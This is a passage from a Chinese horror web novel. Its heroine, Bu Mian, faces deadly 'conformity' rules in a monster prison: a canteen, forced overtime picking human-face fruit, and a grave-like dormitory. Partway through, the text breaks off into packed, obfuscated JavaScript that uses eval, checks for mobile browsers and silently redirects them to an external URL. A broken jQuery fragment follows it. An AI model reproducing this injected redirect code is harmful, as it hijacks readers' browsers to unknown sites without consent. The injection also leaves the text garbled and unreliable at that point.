是的,就是在抖勺。
它正在慢慢把勺子里的液体抖落出来,黏腻的东西似乎拥有生命,此刻正在死死的粘着光滑的勺面,最终还是抵抗不过,啪的一下落下。
原本堆成小山的“食物”被抖落,只剩下了指甲盖大小,噗呲一声落在桌面上的。
绿色物体先是禁止几秒,试探性伸出一只触角,飞快跑回盛放食物盒中。
她眼角抽了抽,不作声捧着食物离开,寻找空位置坐下,手僵在半空中迟迟未动,纠结地看着盘子中散发着荧光黏稠的块状物。
“刺啦”一声,坐在步眠身侧的怪物拉开防护服,露出里面类人的身躯,将盘子野蛮怼到自己身躯中。
盘子微微倾斜,装死的绿色液体伸出触角,往上扒拉下,挣扎无果后,咻的落入同样材质的身躯中。
肉眼可见的,防护服干瘪的身躯渐渐变得丰盈起来,似乎是察觉到视线,头颅转向步眠。
看起来,食堂里的东西,对于怪物来说是一种营养的补充。
但自己要怎么处理这个东西?
步眠毕竟是人类,如果真的把这些东西放在自己的身躯里,任由活物在防护服里挪动,步眠不确定自己会不会发疯撕开防护服,再把那小小的一团弄死。
她尝试捏了一下,绿色块状似乎是有些委屈,身躯被压的极小,又缓缓弹开,看起来像是蜷缩的人四肢舒展,有些可怜的抱住步眠的手指。
她被自己的想法恶心到了。
即使有些东西长得再像人,但和人相比,还是有着显而易见的不同。
感受到心脏处传来阵痛,步眠面无表情的撕开自己的防护服。
来到这里大约半天的时间,步眠已经摸清楚了死亡规则——合群。
不管别的怪物做什么,自己都必须要做出同样的动作,一旦做出不一样的动作,那么自己就会被魇抹杀。
这个规则说大不大说小不小,合群能够保住自己的性命,但是有一个致命的弱点,那就是步眠没有办法保证,她跟着这些怪物的动作,不会害死自己。
如果这些怪物要跳下悬崖,不跳被痛死,跳了被摔死。
而且,一旦和对方的频率越来越相近,越来越公式化合群,心脏疼痛的速率会加快,时间久了,步眠不确定自己会不会被异化成异端。
至于那个魇主人,她似乎没有见到除了自己以外的人。
防护服撕开的刹那,原本低着头的怪物骤然间抬起头,一双眼泛着诡异的光,直勾勾的盯着步眠。
她没有丝毫的察觉,还在捏着那小小的一团,皱着眉在思考自己要不要把它放入自己的防护服,但心脏仍然在痛。
为什么?她不是已经按照那些怪物做的一样,划开防护服,把这个小小的不明物体装进自己的防护服里面了吗?
后知后觉的,她意识到了不对。
因为那些怪物的目光都在看着自己,监工硕大的躯壳转向自己,步眠甚至可以听到对方吞咽时的口水声。
电光火石间,她意识到了什么。
她一直在保持自己的同频动作,意识到了对方是怪物,但是没有想到一件事——那些怪物,意识到了自己是异类吗?
毫无犹豫的,她拉上了防护服的裂口,但那些怪物依旧看着她,像是在看着一块可口甜美的小蛋糕。
步眠:“你看什么?”
声音在安静的食堂中十分清晰,监工那双扩散的瞳仁看着步眠,她的语调愈发冷静,“你看什么,你想吃同事?”
监工一顿,歪了歪头,似乎在思考。
这个动作如果让小动物做起来很可爱,但这不是小动物,而是一个半腐烂状态的尸体。
四周安静的落针可闻,唯一说话的人在这里是异类,心脏被攥紧的感受十分清晰,似乎下一刻就会到极点炸裂。
如果和它们一样保持沉默,等怪物上前分食自己,她难道要拿着刀叉把自己分开吃下去吗?
说话可能会被规则弄死,不说话会被怪物分食,到了现在,步眠甚至有种破罐子破摔的打算。
她说:“吃什么吃,长了颗脑袋只会吃是吗,员工守则上写了允许吃同事吗?食不言寝不语,是,你们没说话,但你们吃着碗里看着锅里难道就没错吗?”
能活活,不能活卷铺盖睡了。
一秒两秒过去,没长脑子的怪物渐渐挪开了目光,还剩半个脑子的监工依旧执拗的盯着步眠。
心脏没有继续疼下去,看来,为了生存来反驳规则,这一点符合规则。
她渐渐对这个世界的规则有了新的塑造。
死亡规则了解了,那么,离开这里或者拿到梵印的规则,又要怎么算?
吃完饭,那个窗口的怪物从窗口缓缓爬出来,它没有脸,长得也不像是人,是一个高高大大像是顶着一块布的巨大圆柱体。
此刻,圆柱体提着比桌子还大的篮子,防护服怪物依次上前,弯腰放下人脸果实时,几乎将自己上半身丢入篮子中。
留在外面的双脚晃动两下,终于安安稳稳落在地面上。
人脸果实咚的一声掉入篮子中,彼此撞击声此起彼伏,久久不停息,像是活过来了一样,在篮子里不停的撞击着。
防护服似乎毫无察觉,前面的怪物离开,后面的怪物紧随其后,动作如出一辙。
这让步眠想到了自己运送的那个铁盒子,被铁盒子遮挡的物体一直想要离开盒子。
也就是说,这个窗口的怪物,不仅是兼职打饭,还是负责运送的?
步眠暗暗记下了,踮起脚时居然够不到,只能踩着凹凸不平的篮子,身体几乎对折,放下篮子时,同时也看见了其中的场景。
堆成山峰的人脸果实麻木往上看着,死气沉沉,零星的几个拥有着活性,察觉到视线的瞬间,在半空中停下动作,咕噜噜的的滚了下去。
步眠回到地面上,诡异的场景在脑海中挥之不去,准备离开时却被拦住了。
“干什么?都给你了,实在不行我明天去给你抢点。”
怪物拿了个牌子,步眠上前去看,歪歪扭扭的字体分为上下两行,一行是她看不懂的字体,下一行十分贴心的用人类的语言写着:每日采摘不够一百者,同序号者,加班。
步眠裂开了。
“我在现实世界认真完成工作,从没有加班过一次,现在,你让我加班?”
异端世界也要连坐?这合理吗?
她最后还是被赶着去了,那些怪物高高兴兴的走了,只有自己一个人在苦哈哈的加班。
不,还有那些和自己一样以7开头的怪物,也在被迫加班。
古怪的人脸果实安静生长在树上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468459|169863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赶在夜间休息前,步眠采摘完了最低的标准数额。
守在外面巨大的圆柱体数了数,确认没有问题后转身离开,与此同时,新的钟声自远方传来,厚重悠长。
如果说劳作后的钟声是为了进入食堂,那么现在的钟声,是为了去干什么呢?
很快,步眠就知道了。
防护服怪物从四面八方聚拢过来,她学着它们踮起脚尖,但垫脚尖久了,会让整个脚都很麻木,为了自己心脏安全,只能尽力维持。
新的钟声又敲响了,步眠跟在它们的背后,面前低矮房屋渐渐消失眼前,步入黑暗中,远处亮起小小的一点,走进了,是歪斜对牌子写着宿舍两字。
防护服从头到尾走入属于自己的房屋中,两两配队,前面的队伍越来越短。
步眠也分到了一个室友,是那个被她丢进来的监工。
步眠:“……”
她肠子都悔青了,甚至觉得自己不应该为了一时之快,导致对方死了之后仍然在自己的面前晃荡。
监工并没有看着步眠,只是低着头,将地面上小土堆摆放的更加高耸了一些。
步眠看着不太舒服,这不像是居住的地方,看起来反倒像是一座小小的坟墓。
她就跟着他的动作也开始清理自己的小土堆,过了一会钟声响起的时候,身体修长几乎触碰到天花板的怪物以一种奇怪的姿势,不声不响的滑了过来。
穿着防护服的对应的似乎是囚犯,那些没有防护服也能活在空气中的怪物,对应的是那些监工和机械人。
它们看了一眼小土堆,确认土堆摆放整齐后,在道路尽头转身离开。
这个行为像是检查内务,监狱会有专门的机械检查内务,提交物品整理好内务,再之后呢,会是什么?
睡前广播体操?还是心得书写?
不对,睡前广播体操是她刚进入监狱时的活动,到了现在被更改,至于心得书写是一周一次,概率是七分之一。
更何况,这是一个怪物的视角,怪物从来没有见过他们的生活,怎么只可能知道的那么细致。
如果它真的知道的话,就不会制造出一个不伦不类的食堂,更不会出现一个莫名其妙的土包寝室。
这个鬼地方到底要怎么出去?
步眠抬起头,看了一眼几乎望不到尽头的监狱,心里烦闷极了。
一旁监工已经挖开土堆,身体躺在土堆中,高高兴兴的睡进去。
她做不到睡在像是坟墓的土堆里,揉了揉抽痛的眉心,尝试躺在土堆上,尝试入睡。
熟悉的心绞痛让步眠迅速迅速抛开泥土,并且在心里愤怒的怒骂了一下魇主人。
不知道是不是某种示威,一张纸张轻飘飘的落下了,不偏不倚,在自己的脸上,遮挡住了所有光亮。
吹了口气,纸张在空中晃荡两下,最终被她精准捏在手中。
很快,步眠就意识到了不对。
上面的字迹不是歪歪扭扭小孩子的字迹,而是一个有些狂野但绝对是标准的字迹。
步眠一骨碌就爬起来,借着微弱的灯火看清了上面的字迹。
看清字迹的一瞬间,她的血液凉了半截。
那是她曾在心得上写下的那句:【我想我依旧不认可神灵,如果风灵会中的神灵真的存在,我会忏悔我的所有过错。】